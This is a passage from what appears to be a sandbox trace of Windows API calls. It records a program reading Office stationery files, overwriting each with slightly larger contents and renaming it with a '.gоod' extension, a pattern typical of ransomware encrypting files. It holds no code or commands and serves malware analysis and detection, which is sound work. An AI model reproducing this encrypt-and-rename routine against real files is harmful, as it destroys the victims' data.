nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM.gоod", lpFilePart=0x0) returned 0x48 [0188.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0188.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cb45648, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f0)) returned 1 [0188.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0188.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.htm.gоod")) returned 1 [0188.725] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG", lpFilePart=0x0) returned 0x43 [0188.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0188.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.jpg"), fInfoLevelId=0x0, lpFileInformation=0x38f1640 | out: lpFileInformation=0x38f1640*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb4d8760, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb86)) returned 1 [0188.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0188.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG", lpFilePart=0x0) returned 0x43 [0188.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0188.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.726] GetFileType (hFile=0x630) returned 0x1 [0188.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0188.726] GetFileType (hFile=0x630) returned 0x1 [0188.726] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xb86 [0188.726] ReadFile (in: hFile=0x630, lpBuffer=0x38f2460, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x38f2460*, lpNumberOfBytesRead=0x200ec818*=0xb86, lpOverlapped=0x0) returned 1 [0188.728] CloseHandle (hObject=0x630) returned 1 [0188.755] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG", lpFilePart=0x0) returned 0x43 [0188.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0188.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.756] GetFileType (hFile=0x630) returned 0x1 [0188.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0188.756] GetFileType (hFile=0x630) returned 0x1 [0188.756] WriteFile (in: hFile=0x630, lpBuffer=0x396d6b0*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x396d6b0*, lpNumberOfBytesWritten=0x200ec728*=0xb90, lpOverlapped=0x0) returned 1 [0188.757] CloseHandle (hObject=0x630) returned 1 [0188.757] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG", lpFilePart=0x0) returned 0x43 [0188.757] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG.gоod", lpFilePart=0x0) returned 0x48 [0188.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0188.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.jpg"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4d8760, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb4d8760, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cb919de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb90)) returned 1 [0188.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0188.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\NOTEBOOK.JPG.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\notebook.jpg.gоod")) returned 1 [0188.758] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", lpFilePart=0x0) returned 0x43 [0188.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0188.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.gif"), fInfoLevelId=0x0, lpFileInformation=0x396e938 | out: lpFileInformation=0x396e938*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1202)) returned 1 [0188.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0188.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", lpFilePart=0x0) returned 0x43 [0188.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0188.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.759] GetFileType (hFile=0x630) returned 0x1 [0188.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0188.759] GetFileType (hFile=0x630) returned 0x1 [0188.759] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0188.759] ReadFile (in: hFile=0x630, lpBuffer=0x396ed40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x396ed40*, lpNumberOfBytesRead=0x200ec8b8*=0x202, lpOverlapped=0x0) returned 1 [0188.879] CloseHandle (hObject=0x630) returned 1 [0188.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", lpFilePart=0x0) returned 0x43 [0188.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0188.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.879] GetFileType (hFile=0x630) returned 0x1 [0188.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0188.881] GetFileType (hFile=0x630) returned 0x1 [0188.881] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1202 [0188.882] WriteFile (in: hFile=0x630, lpBuffer=0x387f918*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x387f918*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0188.972] CloseHandle (hObject=0x630) returned 1 [0188.972] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", lpFilePart=0x0) returned 0x43 [0188.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0188.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.973] GetFileType (hFile=0x630) returned 0x1 [0188.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0188.973] GetFileType (hFile=0x630) returned 0x1 [0188.973] ReadFile (in: hFile=0x630, lpBuffer=0x38a9600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x38a9600*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0189.001] CloseHandle (hObject=0x630) returned 1 [0189.001] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", lpFilePart=0x0) returned 0x43 [0189.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0189.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0189.001] GetFileType (hFile=0x630) returned 0x1 [0189.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0189.001] GetFileType (hFile=0x630) returned 0x1 [0189.001] WriteFile (in: hFile=0x630, lpBuffer=0x38a8360*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x38a8360*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0189.001] CloseHandle (hObject=0x630) returned 1 [0189.001] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF", lpFilePart=0x0) returned 0x43 [0189.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF.gоod", lpFilePart=0x0) returned 0x48 [0189.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0189.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.gif"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cdcde7c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1212)) returned 1 [0189.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0189.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.gif.gоod")) returned 1 [0189.004] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM", lpFilePart=0x0) returned 0x43 [0189.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0189.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.htm"), fInfoLevelId=0x0, lpFileInformation=0x3925ab0 | out: lpFileInformation=0x3925ab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5)) returned 1 [0189.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0189.004] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM", lpFilePart=0x0) returned 0x43 [0189.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0189.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0189.004] GetFileType (hFile=0x630) returned 0x1 [0189.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0189.004] GetFileType (hFile=0x630) returned 0x1 [0189.004] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x1d5 [0189.004] ReadFile (in: hFile=0x630, lpBuffer=0x3925f20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3925f20*, lpNumberOfBytesRead=0x200ec818*=0x1d5, lpOverlapped=0x0) returned 1 [0189.440] CloseHandle (hObject=0x630) returned 1 [0189.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM", lpFilePart=0x0) returned 0x43 [0189.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0189.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0189.481] GetFileType (hFile=0x630) returned 0x1 [0189.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0189.481] GetFileType (hFile=0x630) returned 0x1 [0189.481] WriteFile (in: hFile=0x630, lpBuffer=0x38b3718*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x38b3718*, lpNumberOfBytesWritten=0x200ec728*=0x1e0, lpOverlapped=0x0) returned 1 [0189.482] CloseHandle (hObject=0x630) returned 1 [0189.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM", lpFilePart=0x0) returned 0x43 [0189.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM.gоod", lpFilePart=0x0) returned 0x48 [0189.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0189.482] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d26c292, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0189.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0189.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\OFFISUPP.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\offisupp.htm.gоod")) returned 1 [0189.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF", lpFilePart=0x0) returned 0x43 [0189.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0189.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.gif"), fInfoLevelId=0x0, lpFileInformation=0x38b49a0 | out: lpFileInformation=0x38b49a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45b)) returned 1 [0189.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0189.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF", lpFilePart=0x0) returned 0x43 [0189.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0189.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0189.869] GetFileType (hFile=0x820) returned 0x1 [0189.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0189.869] GetFileType (hFile=0x820) returned 0x1 [0189.870] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x45b [0189.870] ReadFile (in: hFile=0x820, lpBuffer=0x39502c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x39502c0*, lpNumberOfBytesRead=0x200ec818*=0x45b, lpOverlapped=0x0) returned 1 [0189.871] CloseHandle (hObject=0x820) returned 1 [0189.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0189.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0189.975] GetFileType (hFile=0x820) returned 0x1 [0189.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0189.975] GetFileType (hFile=0x820) returned 0x1 [0189.975] WriteFile (in: hFile=0x820, lpBuffer=0x39c8ce0*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x39c8ce0*, lpNumberOfBytesWritten=0x200ec728*=0x460, lpOverlapped=0x0) returned 1 [0189.976] CloseHandle (hObject=0x820) returned 1 [0189.976] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF", lpFilePart=0x0) returned 0x43 [0189.976] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF.gоod", lpFilePart=0x0) returned 0x48 [0189.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0189.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.gif"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d7188d2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x460)) returned 1 [0189.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0189.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.gif.gоod")) returned 1 [0190.336] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM", lpFilePart=0x0) returned 0x43 [0190.336] SetThreadErrorMode (dwNewMode=0x1, 